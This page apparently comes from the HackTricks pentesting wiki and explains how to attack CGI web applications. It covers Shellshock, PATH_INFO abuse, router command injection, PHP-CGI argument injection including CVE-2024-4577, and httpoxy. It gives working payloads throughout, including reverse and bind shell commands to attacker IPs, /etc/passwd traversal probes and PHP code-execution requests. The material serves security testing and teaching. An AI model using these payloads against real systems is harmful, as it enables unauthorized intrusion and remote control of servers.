cgi.md (14108B)
1 --- 2 title: "CGI Pentesting" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/cgi.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/cgi.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # CGI Pentesting 14 15 ## Information 16 17 **CGI is an interface, not a language**: real targets may expose legacy **Perl**, **sh**, **Python**, or compiled programs behind `*.cgi`. CGI defines how the server passes request metadata and body data to those programs.<sup>[[7]](#references)</sup> 18 19 If an authorized test finds a file-upload path that writes into a CGI-enabled directory, preserve the interpreter line and executable permission when testing execution. For example, Kali's `/usr/share/webshells/perl/perl-reverse-shell.pl` can be adapted, uploaded with a `.cgi` name, marked executable (`chmod +x`) when the primitive permits it, and requested over HTTP. The server configuration—not the filename alone—determines whether it executes. 20 21 For authorized CGI enumeration, Nikto's `-C all` option tests every CGI directory.<sup>[[10]](#references)</sup> 22 23 Quick methodology: 24 25 - Enumerate classic locations and extensions: `/cgi-bin/`, `/cgi-sys/`, `*.cgi`, `*.pl`, `*.sh`, `*.py`. 26 - Fuzz how the target handles **extra path data** after the script name: `/cgi-bin/status.cgi/test`, `/cgi-bin/status.cgi//x`, encoded slashes, `;`, `.` and `..`. 27 - If you suspect Apache-specific CGI weirdness \(source disclosure via absolute paths, local redirects, handler confusion\), check [Apache](/hacktricks/network-services-pentesting/pentesting-web/apache). 28 - If the stack is really **FastCGI/PHP-FPM** instead of classic CGI, check [9000 - Pentesting FastCGI](/hacktricks/network-services-pentesting/9000-pentesting-fastcgi). 29 30 ## **ShellShock** 31 32 **Shellshock** (CVE-2014-6271 and related flaws) affected Bash's handling of function definitions imported through environment variables. CGI maps request headers into environment variables, so a vulnerable Bash-backed CGI script could execute attacker-supplied trailing commands.<sup>[[8]](#references)</sup> 33 34 Exploiting this behavior may cause the **page to return an error**. 35 36 You could **find** this vulnerability noticing that it is using an **old Apache version** and **cgi_mod** \(with cgi folder\) or using **nikto**. 37 38 ### **Test** 39 40 Most tests are based in echo something and expect that that string is returned in the web response. If you think a page may be vulnerable, search for all the cgi pages and test them. 41 42 **Nmap** 43 44 ```bash 45 nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi 46 ``` 47 48 ## **Curl \(reflected, blind and out-of-band\)** 49 50 ```bash 51 # Reflected 52 curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' 53 # Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump) 54 curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi 55 # Out-Of-Band Use Cookie as alternative to User-Agent 56 curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh 57 ``` 58 59 [**Shellsocker**](https://github.com/liamim/shellshocker) 60 61 ```bash 62 python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi 63 ``` 64 65 ### Exploit 66 67 ```bash 68 #Bind Shell 69 $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 70 #Reverse shell 71 $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80 72 #Reverse shell using curl 73 curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi 74 #Reverse shell using metasploit 75 > use multi/http/apache_mod_cgi_bash_env_exec 76 > set targeturi /cgi-bin/admin.cgi 77 > set rhosts 10.1.2.11 78 > run 79 ``` 80 81 ## PATH_INFO / PATH_TRANSLATED abuse 82 83 According to RFC 3875, extra path data after the CGI script path is exposed to the application as **`PATH_INFO`**, and a server may derive **`PATH_TRANSLATED`** from it.<sup>[[7]](#references)</sup> In practice, many CGI handlers either: 84 85 - ignore `PATH_INFO` when they should reject it 86 - use it as an internal router \(selecting actions or files\) 87 - concatenate it into filesystem paths or shell commands 88 89 Quick probes: 90 91 ```bash 92 curl -i http://target/cgi-bin/app.cgi/test 93 curl -i http://target/cgi-bin/app.cgi/%2e%2e/%2e%2e/etc/passwd 94 curl -i http://target/cgi-bin/app.cgi/.//admin 95 curl -i http://target/cgi-bin/app.cgi/;id 96 ``` 97 98 What you are looking for: 99 100 - different content/auth decisions when extra path exists 101 - file-open errors leaking translated filesystem paths 102 - handlers that map `PATH_INFO` directly to templates, language files, firmware objects, or helper scripts 103 104 If a script does **not** expect extra path data but still accepts it, treat that as a strong signal and keep fuzzing encoded separators, duplicate slashes, and dot segments. 105 106 ## Centralized CGI dispatchers (single endpoint routing via selector parameters) 107 108 Many embedded web UIs multiplex dozens of privileged actions behind a single CGI endpoint (for example, `/cgi-bin/cstecgi.cgi`) and use a selector parameter such as `topicurl=<handler>` to route the request to an internal function.<sup>[[2]](#references)</sup> 109 110 Methodology to exploit these routers: 111 112 - Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher. 113 - Test unauthenticated reachability: some handlers forget auth checks and are directly callable. 114 - Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`. 115 116 Generic exploit shapes: 117 118 ```http 119 POST /cgi-bin/cstecgi.cgi HTTP/1.1 120 Content-Type: application/x-www-form-urlencoded 121 122 # 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools 123 topicurl=<handler>¶m=-n 124 125 # 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell 126 topicurl=setEasyMeshAgentCfg&agentName=;id; 127 128 # 3) Validator bypass → arbitrary file write in file-touching handlers 129 topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc 130 ``` 131 132 Detection and hardening: 133 134 - Watch for unauthenticated requests to centralized CGI endpoints with `topicurl` set to sensitive handlers. 135 - Flag parameters that begin with `-` (argv option injection attempts). 136 - Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags. 137 138 ## PHP + CGI argument injection = RCE 139 140 ### Old PHP-CGI \(CVE-2012-1823, CVE-2012-2311\) 141 142 If CGI is active and PHP is "old" \(<5.3.12 / < 5.4.2\) you can execute code. 143 To exploit this vulnerability, access a PHP file without a conventional query parameter (especially without `=`). 144 Then, in order to test this vulnerability, you could access for example `/index.php?-s` \(note the `-s`\) and **source code of the application will appear in the response**. 145 146 Then, in order to obtain **RCE** you can send this special query: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and the **PHP code** to be executed in the **body of the request. 147 Example: 148 149 ```bash 150 curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" 151 ``` 152 153 **More info about the vuln and possible exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup><sup>[[5]](#references)</sup><sup>[[6]](#references)</sup> 154 155 ### Modern Windows PHP-CGI bypass \(CVE-2024-4577\) 156 157 In June 2024, PHP-CGI argument injection came back on **Windows**. The bug abuses Windows **Best-Fit** conversion: a **soft hyphen** \(`%AD`, `0xAD`\) can be transformed into a real `-` before PHP parses arguments, bypassing the old protection from CVE-2012-1823. This has been especially relevant in **XAMPP for Windows** and other deployments where PHP is reachable through CGI handlers.<sup>[[1]](#references)</sup> 158 159 Quick test: 160 161 ```bash 162 curl -i -X POST \ 163 --data "<?php phpinfo(); die(); ?>" \ 164 "http://target/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" 165 ``` 166 167 If the response renders `phpinfo()` or otherwise executes your body, you have code execution. Swap the body for any PHP payload: 168 169 ```bash 170 curl -i -X POST \ 171 --data "<?php system('whoami'); die(); ?>" \ 172 "http://target/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" 173 ``` 174 175 Notes: 176 177 - The `%AD` bytes are the important part: they are the attacker-controlled "soft hyphens". 178 - The original issue is directly reproducible with code pages 932, 936 and 950; other Windows locales still require assessment because web-server and code-page combinations differ.<sup>[[1]](#references)</sup> 179 - `8.1.29`, `8.2.20` and `8.3.8` contained the first fix, but a later parameter-injection bypass means the complete historical fix baselines are `8.1.30`, `8.2.24` and `8.3.12`. Use a currently supported, fully updated PHP branch rather than stopping at the first fixed build.<sup>[[11]](#references)</sup> 180 181 ### Post-fix quote-smuggling variant \(unusual Windows code pages\) 182 183 A later variant targets installations whose Windows **ANSI code page \(ACP\) was manually pointed at an OEM code page**. On code page 437, for example, `%A8` can become `"`; Windows command-line parsing then removes the generated quote pair around `-s`, recreating an option even after the soft-hyphen fix. This setup requires an unusual registry modification, but it is useful when an apparently patched appliance still behaves as vulnerable.<sup>[[11]](#references)</sup> 184 185 ```bash 186 # Source-disclosure canary for the rare quote-smuggling variant 187 curl -i 'http://target/index.php?%A8-s%A8' 188 ``` 189 190 ### `cgi.force_redirect` header/environment collision 191 192 Older PHP-CGI also accepted either `REDIRECT_STATUS` or `HTTP_REDIRECT_STATUS` as proof that the web server invoked it through a configured redirect. Because CGI transforms an attacker-supplied `Redirect-Status` header into `HTTP_REDIRECT_STATUS`, a direct request could satisfy that check and bypass `cgi.force_redirect`. This is not RCE by itself, but configurations that also derive attacker-controlled `SCRIPT_FILENAME` values could turn direct invocation into arbitrary file inclusion. The same `8.1.30`, `8.2.24` and `8.3.12` releases fixed this collision.<sup>[[12]](#references)</sup> 193 194 ```bash 195 # Compare the direct-call response with and without the colliding header 196 curl -i 'http://target/cgi-bin/php/secretdir/script.php' 197 curl -i -H 'Redirect-Status: 1' \ 198 'http://target/cgi-bin/php/secretdir/script.php' 199 ``` 200 201 A change from PHP's `Security Alert!` response to normal script handling is the signal; verify the handler mapping and `SCRIPT_FILENAME` construction before claiming file inclusion.<sup>[[12]](#references)</sup> 202 203 ## **Proxy / `HTTP_PROXY` \(httpoxy\)** 204 205 CGI creates an environment variable for each HTTP header in the request. For example, `Host: web.com` becomes `HTTP_HOST=web.com`. 206 That also means `Proxy: http://attacker:8080` becomes **`HTTP_PROXY`**, which may collide with libraries that trust `HTTP_PROXY` as the proxy for **outgoing** requests. 207 208 If the CGI application performs server-side HTTP requests during your session \(update checks, webhooks, API calls, avatar fetches, SSO helpers, etc.\), try: 209 210 ```bash 211 curl -H 'Proxy: http://ATTACKER:8080' http://target/cgi-bin/report.cgi 212 ``` 213 214 If the application or one of its libraries trusts `HTTP_PROXY`, you may: 215 216 - proxy the victim's outbound requests through your host 217 - steal internal HTTP traffic, credentials or tokens 218 - redirect internal subrequests to attacker-chosen destinations 219 220 Useful notes:<sup>[[9]](#references)</sup> 221 222 - This pattern is commonly known as **httpoxy**. 223 - Historically it affected CGI-style PHP, Python CGI handlers, and Go `net/http/cgi` style deployments. 224 - Simply unsetting `$_SERVER['HTTP_PROXY']` in PHP may be insufficient if the code or library reads from `getenv('HTTP_PROXY')`. 225 226 227 ## References 228 229 - [1] [Orange Tsai - CVE-2024-4577: Yet Another PHP RCE, Make PHP-CGI Argument Injection Great Again!](https://blog.orange.tw/posts/2024-06-cve-2024-4577-yet-another-php-rce/) 230 - [2] [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) 231 - [3] [zero-day.cz - Database - 337](https://www.zero-day.cz/database/337) 232 - [4] [cve.mitre.org - cve-2012-1823](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823) 233 - [5] [cve.mitre.org - cve-2012-2311](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311) 234 - [6] [W3rni0/HacktivityCon_CTF_2020 - CTF Writeup Example](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe) 235 - [7] [RFC 3875 – The Common Gateway Interface (CGI) Version 1.1](https://www.rfc-editor.org/rfc/rfc3875) 236 - [8] [NVD – CVE-2014-6271](https://nvd.nist.gov/vuln/detail/CVE-2014-6271) 237 - [9] [httpoxy – A CGI application vulnerability](https://httpoxy.org/) 238 - [10] [Nikto documentation](https://github.com/sullo/nikto/wiki) 239 - [11] [PHP security advisory – PHP-CGI parameter injection bypass](https://github.com/php/php-src/security/advisories/GHSA-p99j-rfp4-xqvq) 240 - [12] [PHP security advisory – `cgi.force_redirect` environment-variable collision](https://github.com/php/php-src/security/advisories/GHSA-94p6-54jq-9mwp)